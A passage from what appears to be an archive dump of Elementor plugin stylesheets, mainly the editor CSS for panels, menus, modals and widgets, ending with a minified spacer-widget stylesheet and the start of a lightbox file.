relative; z-index: 1; margin-block-start: 25px; padding: 12px 24px; font-size: 14px; } #elementor-template-library-connect__background-image-left-1 { right: 22.4%; bottom: -29%; animation: 1.5s fadeIn, 1.5s slideDown, 3.5s mover 1.5s infinite alternate; } #elementor-template-library-connect__background-image-left-2 { right: 46.25%; bottom: -15.5%; animation: 3s fadeIn, 3s slideDown, 2s mover 3s infinite alternate; } #elementor-template-library-connect__background-image-right-1 { left: 37%; bottom: -41%; animation: 2.5s fadeIn, 2.5s slideDown, 2s mover 2.5s infinite alternate; } #elementor-template-library-connect__background-image-right-2 { left: 48%; bottom: -12.5%; animation: 1.5s fadeIn, 1.5s slideDown, 1.5s mover 1.5s infinite alternate; } .elementor-template-library-connect__background-image { position: absolute; } .elementor-template-library-blank-footer { position: absolute; bottom: 70px; left: 50%; transform: translateX(-50%); font-style: italic; color: var(--e-a-color-txt-muted); } @media (max-height: 700px) { .elementor-template-library-blank-footer { display: none; } } #elementor-template-library-footer-banner { padding-block-end: 45px; } #elementor-template-library-footer-banner i { font-size: 56px; margin-block-start: 40px; } #elementor-template-library-footer-banner .elementor-nerd-box-icon { margin-block-start: 70px; } #elementor-template-library-templates-empty { width: 100%; margin-block-start: 40px; } #elementor-template-library-error-dialog .dialog-message { text-align: start; } #elementor-template-library-error-info { margin-block-start: 10px; } @media (max-width: 1439px) { .elementor-template-library-local-column-1 { width: 33%; } .elementor-template-library-local-column-2 { width: 10%; } .elementor-template-library-local-column-3 { width: 15%; } .elementor-template-library-local-column-4 { width: 15%; } .elementor-template-library-local-column-5 { width: 27%; } } @media (min-width: 1440px) { .elementor-template-library-local-column-1 { width: 25%; } .elementor-template-library-local-column-2 { width: 17%; } .elementor-template-library-local-column-3 { width: 17%; } .elementor-template-library-local-column-4 { width: 17%; } .elementor-template-library-local-column-5 { width: 24%; } } @media (max-width: 1024px) { .elementor-template-library-local-column-3 { display: none; } .elementor-template-library-local-column-5 { width: 41%; } } .elementor-tags-list { display: none; position: absolute; width: 260px; max-height: 300px; overflow: auto; padding-block-end: 5px; background-color: var(--e-a-bg-default); box-shadow: var(--e-a-popover-shadow); border: var(--e-a-border); border-radius: 3px; z-index: 10000; } .elementor-tags-list__group-title { font-weight: bold; font-size: 12px; padding: 10px 15px; display: flex; align-items: center; } .elementor-tags-list__group-title .eicon-info-circle { padding-inline-end: 5px; color: var(--e-a-color-primary-bold); font-size: 14px; } .elementor-tags-list__item { font-size: 10px; padding: 6px 15px; cursor: pointer; } .elementor-tags-list__item:before { content: ">"; font-size: 8px; padding-inline-end: 5px; } .elementor-tags-list__item:hover { background-color: var(--e-a-bg-hover); } .elementor-tags-list__teaser { border-block-start: 2px solid var(--e-a-border-color); padding-block-start: 4px; margin-block-start: 4px; } .elementor-tags-list__teaser-text { padding: 2px 15px 8px; line-height: 1.5; font-size: 12px; } .elementor-tags-list__teaser-link { color: var(--e-a-color-primary-bold); text-decoration: underline; font-style: italic; font-weight: bold; } .elementor-dynamic-cover { display: flex; align-items: center; width: 100%; height: 27px; box-sizing: border-box; } .elementor-dynamic-cover__title { padding: 0 8px; flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-dynamic-cover__settings, .elementor-dynamic-cover__remove { cursor: pointer; transition: var(--e-a-transition-hover); } .elementor-dynamic-cover__settings:hover, .elementor-dynamic-cover__remove:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-wysiwyg .elementor-dynamic-cover { margin-block-start: 10px; } .elementor-tag-settings-popup { position: absolute; width: 260px; background-color: var(--e-a-bg-default); border: var(--e-a-border); box-shadow: var(--e-a-popover-shadow); z-index: 1; } .elementor-tag-settings-popup:before { content: ""; position: absolute; top: -20px; left: 5px; border: 10px solid transparent; border-block-end-color: var(--e-a-border-color); } .elementor-tag-settings-popup .elementor-control-type-section:first-child { margin: 0; } .elementor-tag-controls-stack-empty { background-color: var(--e-a-bg-default); padding: 10px; font-size: 13px; text-align: center; } .elementor-control-dynamic input { border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); } .elementor-control-dynamic-switcher { display: inline-flex; align-items: center; justify-content: center; flex-shrink: 0; height: 27px; cursor: pointer; border: var(--e-a-border-bold); background: var(--e-a-bg-default); border-inline-start-width: 0; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; transition: var(--e-a-transition-hover); } .elementor-control-dynamic-switcher:hover { background-color: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-control-dynamic-switcher.e-control-tool { height: 20px; border: 0; } .elementor-control-dynamic-switcher-wrapper { display: flex; } .elementor-control-dynamic-switcher .eicon-database { font-size: 12px; } .elementor-control-dynamic-value .elementor-control-tag-area, .elementor-control-dynamic-value .elementor-control-dynamic-switcher, .elementor-control-dynamic-value .e-global__popover-toggle { display: none; } .elementor-context-menu { position: absolute; width: 250px; padding: 5px 0px; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-popover-shadow); -webkit-user-select: none; -moz-user-select: none; user-select: none; z-index: 101; } .elementor-context-menu-list { display: flex; flex-direction: column; } .elementor-context-menu-list__group { display: flex; flex-direction: column; } .elementor-context-menu-list__group:not(:last-child) { border-block-end: var(--e-a-border); } .elementor-context-menu-list__item { padding: 12px 20px; display: flex; gap: 16px; cursor: pointer; transition: var(--e-a-transition-hover); align-items: center; } .elementor-context-menu-list__item--disabled { cursor: default; opacity: 0.5; color: var(--e-a-color-disabled); } .elementor-context-menu-list__item:not(.elementor-context-menu-list__item--disabled):hover, .elementor-context-menu-list__item:not(.elementor-context-menu-list__item--disabled):focus { background-color: var(--e-a-bg-hover); color: var(--e-a-color-hover); } .elementor-context-menu-list__item__icon { display: none; width: 20px; } .elementor-context-menu-list__item__title { flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-context-menu-list__item__shortcut { color: var(--e-a-color-txt-muted); } .elementor-context-menu-list__item__shortcut--link-fullwidth { position: absolute; left: 0; top: 0; width: 100%; height: 100%; z-index: 2; cursor: pointer; } .elementor-context-menu-list__item__title, .elementor-context-menu-list__item__shortcut { font-size: 14px; font-style: normal; font-weight: 400; line-height: 1; position: relative; } .elementor-context-menu-list__item.elementor-context-menu-list__item-delete:not(.elementor-context-menu-list__item--disabled):hover > *, .elementor-context-menu-list__item.elementor-context-menu-list__item-delete:not(.elementor-context-menu-list__item--disabled):focus > * { color: var(--e-global-color-danger); } .elementor-context-menu-list__item.elementor-hidden { display: none; } .elementor-context-menu .eicon-pro-icon { color: var(--e-global-color-accent); } #elementor-hotkeys { text-align: start; } #elementor-hotkeys__modal .dialog-buttons-wrapper { display: none; } #elementor-hotkeys__content { display: flex; justify-content: space-between; gap: 70px; padding: 20px 30px; width: 100%; overflow: hidden; } @media (max-width: 1024px) { #elementor-hotkeys__content { flex-direction: column; gap: 20px; padding: 20px; } } .elementor-hotkeys__col { display: flex; flex-direction: column; gap: 20px; width: 100%; } .elementor-hotkeys__header { font-weight: 500; } .elementor-hotkeys__item { display: flex; align-items: center; padding: 20px 10px; } .elementor-hotkeys__item:not(:last-child) { border-block-end: var(--e-a-border); } .elementor-hotkeys__item--label { font-size: 13px; font-weight: 400; flex-grow: 1; } .elementor-hotkeys__item--shortcut { flex-grow: 0; display: flex; gap: 27px; } @media (max-width: 1024px) { .elementor-hotkeys__item--shortcut { gap: 23px; } } .elementor-hotkeys__item--shortcut kbd { position: relative; font-family: unset; background-color: var(--e-a-bg-active); padding: 5px 12px; border-radius: var(--e-a-border-radius); } @media (max-width: 1024px) { .elementor-hotkeys__item--shortcut kbd { padding: 4px 9px; } } .elementor-hotkeys__item--shortcut kbd:not(:last-of-type)::after { content: "+"; position: absolute; right: 0; width: 9px; text-align: center; margin-inline-end: -18px; } @media (max-width: 1024px) { .elementor-hotkeys__item--shortcut kbd:not(:last-of-type)::after { margin-inline-end: -16px; } } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp).elementor-template-library-template-floating_button { margin-top: 0 !important; width: calc(25% - 30px); } .ui-resizable-n { top: -5px; } .ui-resizable-e { right: -5px; } .ui-resizable-s { bottom: -5px; } .ui-resizable-w { left: -5px; } .ui-resizable-ne { top: -5px; right: -5px; } .ui-resizable-nw { top: -5px; left: -5px; } .ui-resizable-se { bottom: -5px; right: -5px; } .ui-resizable-sw { bottom: -5px; left: -5px; } .ui-resizable-n, .ui-resizable-s { left: 0; height: 10px; width: 100%; cursor: ns-resize; } .ui-resizable-e, .ui-resizable-w { top: 0; height: 100%; width: 10px; cursor: ew-resize; } .ui-resizable-ne, .ui-resizable-nw, .ui-resizable-se, .ui-resizable-sw { height: 15px; width: 15px; } .ui-resizable-nw, .ui-resizable-se { cursor: nwse-resize; } .ui-resizable-ne, .ui-resizable-sw { cursor: nesw-resize; } .ui-resizable-handle { position: absolute; } .ui-resizable-resizing { pointer-events: none; } body { --e-editor-navigator-width: 240px; --e-editor-navigator-promotion-height: 30px; } #elementor-navigator { position: fixed; top: 100px; width: var(--e-editor-navigator-width); height: 50vh; right: 30px; background-color: var(--e-a-bg-default); border: var(--e-a-border); box-shadow: 0 2px 20px 0 rgba(0, 0, 0, 0.1); -webkit-user-select: none; -moz-user-select: none; user-select: none; overflow: hidden; z-index: 100; display: none; } body.elementor-navigator-docked #elementor-navigator { top: 0; right: 0; height: 100%; } body:not(.elementor-navigator-docked) #elementor-navigator { border-radius: 5px; } #elementor-navigator__inner { height: 100%; display: flex; flex-direction: column; } #elementor-navigator__header { display: flex; align-items: stretch; border-block-end: var(--e-a-border); color: var(--e-a-color-txt-accent); } #elementor-navigator__header__title { flex: 1; text-align: center; font-size: 13px; font-weight: 400; padding: 10px 0; cursor: move; } iframe + #elementor-navigator__header__title, #elementor-navigator__ai-titles + #elementor-navigator__header__title { padding-inline-end: 17.5px; } #elementor-navigator__ai-titles { width: 35px; text-align: center; cursor: pointer; background-color: transparent; border: none; outline: none; } #elementor-navigator__ai-titles:hover { color: #E73CF6; } #elementor-navigator__close, #elementor-navigator__toggle-all { color: var(--e-a-color-txt); background-color: transparent; border: none; outline: 0; padding: 10px; cursor: pointer; transition: color 0.5s; } #elementor-navigator__close:hover, #elementor-navigator__toggle-all:hover { color: var(--e-a-color-txt-hover); } #elementor-navigator__close:focus, #elementor-navigator__toggle-all:focus { color: var(--e-a-color-txt-active); } #elementor-navigator__toggle-all { font-size: 13px; } #elementor-navigator__close { font-size: 11px; } #elementor-navigator__elements { flex-grow: 1; overflow: auto; position: relative; } .elementor-navigator-docked #elementor-navigator__elements { height: calc(100% - 35px); } #elementor-navigator__elements .elementor-nerd-box { padding: 25px; } #elementor-navigator__elements > .elementor-navigator__element-section { border-block-end: var(--e-a-border); } #elementor-navigator__footer { width: 100%; text-align: center; } #elementor-navigator__footer__resize-bar { border-block-start: var(--e-a-border); } .elementor-navigator-docked #elementor-navigator__footer__resize-bar { display: none; } #elementor-navigator__footer__promotion { font-size: 12px; padding: 4px 17px; font-family: "Roboto", sans-serif; color: var(--e-a-bg-logo); min-height: var(--e-editor-navigator-promotion-height); display: flex; justify-content: center; align-items: center; } #elementor-navigator__footer__promotion a { color: var(--e-a-color-accent-promotion); margin-inline-start: 1px; } .elementor-navigator__item { position: relative; display: flex; height: 30px; cursor: pointer; transition: padding 0.5s linear; overflow: hidden; } .elementor-navigator__item:hover, .elementor-navigator__item:focus { background-color: var(--e-a-bg-hover); } .elementor-navigator__item:active { background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-accent); } .elementor-navigator__item[data-locked=true] { cursor: not-allowed; } .elementor-navigator__item:not(.elementor-active) .elementor-navigator__element__list-toggle i { transform: rotate(-90deg); } .elementor-navigator__item > * { display: flex; align-items: center; } .elementor-navigator__item + .elementor-navigator__elements { display: none; } .elementor-navigator__elements > .elementor-navigator__element-section, .elementor-navigator__elements > .elementor-navigator__element-container:not(:last-child) { border-block-end: var(--e-a-border); } .elementor-navigator__elements .elementor-empty-view { padding: 10px; } .elementor-navigator__elements .elementor-empty-view__title { margin-inline-start: 23px; font-size: 10px; font-style: italic; } .elementor-navigator__elements .ui-sortable-helper { box-shadow: 1px 2px 5px 0 rgba(0, 0, 0, 0.1); transform: rotate(4deg); background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-accent); pointer-events: none; } .elementor-navigator__elements .ui-sortable-placeholder { background-color: var(--e-a-bg-hover); } .elementor-navigator__element.elementor-dragging-on-child > .elementor-navigator__elements > .elementor-empty-view { border-block-start: var(--e-a-border); } .elementor-navigator__element.elementor-dragging-on-child > .elementor-navigator__elements > .elementor-empty-view .elementor-empty-view__title { display: none; } .elementor-navigator__element.elementor-dragging-on-child > .elementor-navigator__elements > .elementor-empty-view + .ui-sortable-placeholder { display: none; } .elementor-navigator__element:not(.elementor-navigator__element--has-children) .elementor-navigator__element__list-toggle { visibility: hidden; } .elementor-navigator__element:not(.elementor-navigator__element--hidden) > .elementor-navigator__item .elementor-navigator__element__toggle { color: var(--e-a-color-txt-default); } .elementor-navigator__element:not(.elementor-navigator__element--hidden) > .elementor-navigator__item .elementor-navigator__element__toggle:hover { color: var(--e-a-color-txt-hover); } .elementor-navigator__element:not(.elementor-navigator__element--hidden) > .elementor-navigator__item:not(:hover) .elementor-navigator__element__toggle { display: none; } .elementor-navigator__element:not(.elementor-navigator__element--hidden) > .elementor-navigator__item.elementor-editing { background-color: var(--e-a-bg-active); } .elementor-navigator__element__list-toggle { margin-inline-end: 7px; transition: transform 0.3s; } .elementor-navigator__element__element-type { margin-inline-end: 8px; font-size: 14px; } .elementor-navigator__element__title { flex-grow: 1; overflow: hidden; } .elementor-navigator__element__title__text { white-space: nowrap; -webkit-user-select: text; -moz-user-select: text; user-select: text; } .elementor-navigator__element__title__text[contenteditable=true] { outline: none; background-color: var(--e-a-bg-hover); padding: var(--e-admin-border-radius); border: var(--e-a-border); } .elementor-navigator__element__title__text:not([contenteditable=true]) { padding: 3px 0; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-navigator__element__toggle { position: absolute; right: 15px; height: 100%; z-index: 0; font-size: 13px; } .elementor-navigator__element__indicators { position: relative; transition: transform 0.5s; padding-inline-start: 5px; z-index: 91; } .elementor-navigator__element__indicators:not(:hover) { transform: translateX(calc(100% - 8px)); } .elementor-navigator__element__indicator { height: 100%; width: 31px; display: inline-flex; align-items: center; justify-content: center; color: var(--e-a-color-txt); background-color: var(--e-a-bg-default); border-inline-start: var(--e-a-border); } .elementor-navigator__element__indicator:first-child { border-inline-start: 3px solid var(--e-a-border-color-accent); } .elementor-editing .elementor-navigator__element__indicator:first-child { border-color: #242729; } .elementor-navigator__element__indicator:hover { color: var(--e-a-color-txt-hover); } .elementor-navigator__element--hidden .elementor-navigator__element__title, .elementor-navigator__element--hidden .elementor-navigator__element__toggle { opacity: 0.5; } .elementor-navigator__promotion-text { line-height: 18px; } .e-notice-bar { position: absolute; width: 100%; bottom: 0; display: flex; align-items: center; height: 40px; color: #fff; background-color: var(--e-a-color-accent); padding: 0 25px; } .e-notice-bar__message a { text-decoration: underline; color: var(--e-a-color-txt-invert); } .e-notice-bar__message a:hover { color: #D5D8DC; } .e-notice-bar__primary_action { margin-inline: 12px; } .e-notice-bar__primary_action a { background: #ffffff; border-radius: 3px; color: #93003f; padding: 4px 10px; font-size: 11px; } .e-notice-bar__primary_action a:hover { color: #47001e; background: #F1F2F3; } .e-notice-bar__secondary_message, .e-notice-bar__secondary_action { font-size: 11px; } .e-notice-bar__secondary_action { margin-inline: 4px; } .e-notice-bar__secondary_action a { color: #ffffff; text-decoration: underline; } .e-notice-bar__secondary_action a:hover { color: #F1F2F3; } .e-notice-bar__close { cursor: pointer; margin-inline-start: auto; } .e-notice-bar__icon { margin-inline-end: 8px; } .e-notice-bar i { font-size: 16px; opacity: 0.9; } .e-notice-bar i:hover { color: #D5D8DC; } .e-notice-bar a, .e-notice-bar i { transition: var(--e-a-transition-hover); } body:not(.elementor-device-desktop) #e-notice-bar { display: none; } #elementor-fatal-error-dialog .dialog-message a { text-decoration: underline; } #elementor-preview-debug-link-text { display: inline-block; } #elementor-icons-manager-modal .dialog-message { padding: 0; height: 700px; } #elementor-icons-manager-modal .dialog-content { display: flex; } #elementor-icons-manager__wrapper { display: flex; } @media (max-width: 479px) { #elementor-icons-manager__sidebar { display: none; } } #elementor-icons-manager__tab-links { margin-block-start: 30px; } #elementor-icons-manager__upload { margin: 20px 45px; padding-block-start: 35px; border-block-start: var(--e-a-border); display: flex; align-items: center; justify-content: space-between; } @media (max-width: 1439px) { #elementor-icons-manager__upload { margin: 20px 25px; } } #elementor-icons-manager__main { display: flex; flex-direction: column; padding: 30px 80px 0; } @media (max-width: 1439px) { #elementor-icons-manager__main { padding: 30px 50px 0; } } @media (max-width: 479px) { #elementor-icons-manager__main { width: 100%; } } #elementor-icons-manager__search { position: relative; } #elementor-icons-manager__search input { padding: 8px 15px; background-color: transparent; } #elementor-icons-manager__search i { position: absolute; top: 50%; transform: translateY(-50%); right: 15px; } #elementor-icons-manager__tab__wrapper { overflow: auto; margin: 25px -15px 0; padding: 0 15px 15px; } #elementor-icons-manager__tab__title { color: var(--e-a-color-txt); font-size: 16px; font-weight: 500; text-align: start; } @media (max-width: 479px) { #elementor-icons-manager__tab__title { display: none; } } #elementor-icons-manager__tab__content { display: grid; grid-template-columns: repeat(7, 1fr); grid-gap: 20px; margin: 20px 0; } @media (max-width: 1439px) { #elementor-icons-manager__tab__content { grid-template-columns: repeat(6, 1fr); } } @media (max-width: 1024px) { #elementor-icons-manager__tab__content { grid-template-columns: repeat(5, 1fr); } } @media (max-width: 767px) { #elementor-icons-manager__tab__content { grid-template-columns: repeat(4, 1fr); } } @media (max-width: 479px) { #elementor-icons-manager__tab__content { grid-template-columns: repeat(3, 1fr); } } #elementor-icons-manager__promotion { display: flex; align-items: center; flex-direction: column; padding-block-start: 70px; } #elementor-icons-manager__promotion__icon { font-size: 60px; } #elementor-icons-manager__promotion__text { width: 300px; font-size: 16px; padding-block-start: 25px; } #elementor-icons-manager__promotion__link { margin-block-start: 20px; } .elementor-icons-manager__tab-link { padding-block: 15px; padding-inline: 45px 0; font-size: 12px; text-align: start; cursor: pointer; position: relative; } .elementor-icons-manager__tab-link i { font-size: 20px; padding-inline-end: 15px; } @media (max-width: 1024px) { .elementor-icons-manager__tab-link i { display: none; } } .elementor-icons-manager__tab-link:hover { background-color: var(--e-a-bg-hover); } .elementor-icons-manager__tab-link.elementor-active { background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-accent); } .elementor-icons-manager__tab-link.elementor-active:after { content: ""; position: absolute; height: 100%; width: 3px; top: 0; left: 0; background-color: var(--e-a-border-color-accent); } .elementor-icons-manager__tab__item { position: relative; height: 0; padding-block-end: 100%; border: var(--e-a-border); border-radius: 3px; cursor: pointer; transition: var(--e-a-transition-hover); overflow: hidden; } .elementor-icons-manager__tab__item:hover { background-color: var(--e-a-bg-hover); } .elementor-icons-manager__tab__item.elementor-selected { background-color: var(--e-a-bg-active); border-color: var(--e-a-border-color-accent); color: var(--e-a-color-txt-accent); } .elementor-icons-manager__tab__item__content { display: flex; flex-direction: column; align-items: center; width: 100%; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); padding: 1px; } .elementor-icons-manager__tab__item__icon { font-size: 25px; } .elementor-icons-manager__tab__item__name { font-size: 11px; padding: 13px 20px 0; max-width: 100%; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-color-picker__header { display: flex; justify-content: space-between; align-items: center; font-weight: bold; padding: 10px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); } .e-color-picker__tools { display: flex; } .e-control-color--no-value .pcr-button { background-image: linear-gradient(135deg, transparent 46%, #ff3030 50%, transparent 54%); background-size: cover; background-color: transparent; } .pickr { border: var(--e-a-border); height: 27px; } .pickr .pcr-button { height: 100%; width: 100%; border-radius: var(--e-a-border-radius); } .pickr .pcr-button:before, .pickr .pcr-button:after { height: 12px; width: 12px; top: 50%; left: 50%; transform: translate(-50%, -50%); } .pcr-app { background-color: var(--e-a-bg-default); color: var(--e-a-color-txt); box-shadow: var(--e-a-popover-shadow); font-family: var(--e-a-font-family); } .pcr-app[data-theme=monolith] { padding: 0; width: 270px; } .pcr-app[data-theme=monolith] .pcr-selection .pcr-color-opacity, .pcr-app[data-theme=monolith] .pcr-selection .pcr-color-chooser { height: 8px; } .pcr-app[data-theme=monolith] .pcr-selection .pcr-color-palette { height: 150px; } .pcr-app .pcr-selection .pcr-picker { box-shadow: 0 0 5px 1px rgba(0, 0, 0, 0.2); } .pcr-app .pcr-interaction { padding-block-end: 20px; } .pcr-app .pcr-interaction input.pcr-result { border: var(--e-a-border); color: var(--e-a-color-txt); border-radius: var(--e-a-border-radius); margin: 0; background-color: transparent; } .pcr-app .pcr-interaction input.pcr-result:focus { box-shadow: none; border-color: var(--e-a-border-color-bold); } .pcr-app .pcr-interaction input.pcr-type { all: unset; font-size: 10px; color: var(--e-a-color-txt-muted); padding-inline-start: 5px; cursor: pointer; } .pcr-app .pcr-interaction input.pcr-type.active { background-color: transparent; color: var(--e-a-color-txt-accent); } .pcr-selection, .pcr-interaction { padding: 0 20px; } .pcr-selection { padding-block-start: 20px; } .pcr .elementor-control-dynamic-switcher { height: 20px; border: 0; } .select2-container { width: 100% !important; outline: none; z-index: 9999; font-size: 12px; } .select2-container .e-select2-placeholder { color: var(--e-a-color-txt-muted); } .select2-container.select2-container--default .select2-selection--single { height: 27px; background-color: transparent; } .select2-container.select2-container--default .select2-selection--single .select2-selection__rendered { color: var(--e-a-color-txt); line-height: 27px; } .select2-container.select2-container--default .select2-results__option--highlighted[aria-selected] { background-color: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .select2-container.select2-container--default .select2-selection--multiple { background-color: var(--e-a-bg-default); min-height: 27px; line-height: 0; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__clear { display: none; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice { background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); line-height: 1.2; font-size: 10px; border: none; border-radius: 0; padding: 2px 3px; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice.select2-selection__e-plus-button { cursor: pointer; width: 16.67px; text-indent: -9999px; position: relative; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice.select2-selection__e-plus-button:after { content: "\e815"; font-family: "eicons"; color: var(--e-a-btn-color-invert); text-indent: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; justify-content: center; align-items: center; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__rendered { padding-block-end: 5px; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice__remove { color: var(--e-a-btn-color-invert); margin-inline-end: 3px; } .select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--single, .select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--multiple { background-color: var(--e-a-bg-default); color: var(--e-a-color-txt); border-color: var(--e-a-border-color); } .select2-container.select2-container--open .select2-selection--single, .select2-container.select2-container--open .select2-selection--multiple, .select2-container.select2-container--focus .select2-selection--single, .select2-container.select2-container--focus .select2-selection--multiple { border-color: var(--e-a-border-color-bold); } .select2-selection { outline: none; } .select2-selection--single { height: 27px; } .select2-selection__arrow { height: 27px; top: 0; } .select2-results__option[aria-selected=true] { background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-active); } .select2-results__option[aria-selected=true]:not(.select2-results__option--highlighted) { background-color: var(--e-a-bg-active); } .select2-dropdown { border-color: var(--e-a-border-color); background-color: var(--e-a-bg-default); color: var(--e-a-color-txt); box-shadow: var(--e-a-dropdown-shadow); } .select2-dropdown .select2-search__field { outline: none; } .e-ui-state--document-scrubbing-mode__on, .e-ui-state--document-scrubbing-mode__on * { cursor: ew-resize; } .e-ui-state--document-scrubbing-mode__on input.e-scrubbing--active, .e-ui-state--document-scrubbing-mode__on input.e-scrubbing--active:focus { box-shadow: 0 0 0 1px #0e3b9c inset; } .e-ui-state--document-scrubbing-mode__on label.e-scrubbing--active { color: #0e3b9c; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .e-ui-state--document-scrubbing-mode__on iframe { pointer-events: none; } label.e-scrubbing-over { cursor: ew-resize; } #elementor-paste-area-dialog { text-align: center; } #elementor-paste-area-dialog .dialog-header { padding-block-start: 60px; font-size: 30px; } #elementor-paste-area-dialog .dialog-message { padding: 0 15px 15px; font-size: 15px; position: relative; } #elementor-paste-area-dialog #elementor-paste-area-dialog__input { background: transparent; color: transparent; border-color: transparent; padding: 0; margin: 0; height: 100px; position: absolute; top: -60px; left: 0; right: 0; } #elementor-paste-area-dialog #elementor-paste-area-dialog__input:focus { border-color: transparent; outline: none; } #elementor-paste-area-dialog .dialog-widget-content { width: 400px; } #elementor-paste-area-dialog .dialog-widget-content .eicon-loading { display: none; } #elementor-paste-area-dialog .dialog-widget-content.e-state-loading .eicon-loading { display: block; margin-block-start: 15px; } #elementor-paste-area-dialog #elementor-paste-area-dialog__error { color: var(--e-a-color-danger); font-size: 12px; } #elementor-paste-area-dialog #elementor-paste-area-dialog__error:before { content: ""; border-block-start: var(--e-a-border); display: block; margin: 10px -15px; } [class^=eicon-flex], [class*=" eicon-flex"] { transition: 0.3s all; --is-ltr: 1; --is-rtl: 0; --rotation-direction: calc(var(--is-ltr) - var(--is-rtl)); } [class^=eicon-flex].eicon-inline, [class*=" eicon-flex"].eicon-inline { max-height: 1em; max-width: 1em; } [class^=eicon-flex]:is(.eicon-justify-start-h, .eicon-justify-end-h), [class*=" eicon-flex"]:is(.eicon-justify-start-h, .eicon-justify-end-h) { --rotation-direction: calc(var(--is-ltr) + var(--is-rtl)); } :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow), :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow) { transform: rotate(calc(var(--rotation-direction) * 90deg)); } :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v, .eicon-align-end-v), :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v, .eicon-align-end-v) { transform: rotate(calc(var(--rotation-direction) * -90deg)); } .e-ui-state--document-direction-mode__column-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__column-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--rotation-direction) * -90deg)); } .e-ui-state--document-direction-mode__row [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__row [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--is-rtl) * 180deg)); } .e-ui-state--document-direction-mode__row-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__row-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--is-ltr) * 180deg)); } /*# sourceMappingURL=editor.css.map */assets/css/widget-spacer-rtl.min.css000064400000002524147206604650013504 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-column .elementor-spacer-inner{height:var(--spacer-size)}.e-con{--container-widget-width:100%}.e-con-inner>.elementor-widget-spacer,.e-con>.elementor-widget-spacer{width:var(--container-widget-width,var(--spacer-size));--align-self:var(--container-widget-align-self,initial);--flex-shrink:0}.e-con-inner>.elementor-widget-spacer>.elementor-widget-container,.e-con>.elementor-widget-spacer>.elementor-widget-container{height:100%;width:100%}.e-con-inner>.elementor-widget-spacer>.elementor-widget-container>.elementor-spacer,.e-con>.elementor-widget-spacer>.elementor-widget-container>.elementor-spacer{height:100%}.e-con-inner>.elementor-widget-spacer>.elementor-widget-container>.elementor-spacer>.elementor-spacer-inner,.e-con>.elementor-widget-spacer>.elementor-widget-container>.elementor-spacer>.elementor-spacer-inner{height:var(--container-widget-height,var(--spacer-size))}.e-con-inner>.elementor-widget-spacer.elementor-widget-empty,.e-con>.elementor-widget-spacer.elementor-widget-empty{position:relative;min-height:22px;min-width:22px}.e-con-inner>.elementor-widget-spacer.elementor-widget-empty .elementor-widget-empty-icon,.e-con>.elementor-widget-spacer.elementor-widget-empty .elementor-widget-empty-icon{position:absolute;top:0;bottom:0;left:0;right:0;margin:auto;padding:0;width:22px;height:22px}assets/css/conditionals/lightbox.css000064400000030034147206604650013670 0ustar00.elementor-lightbox { 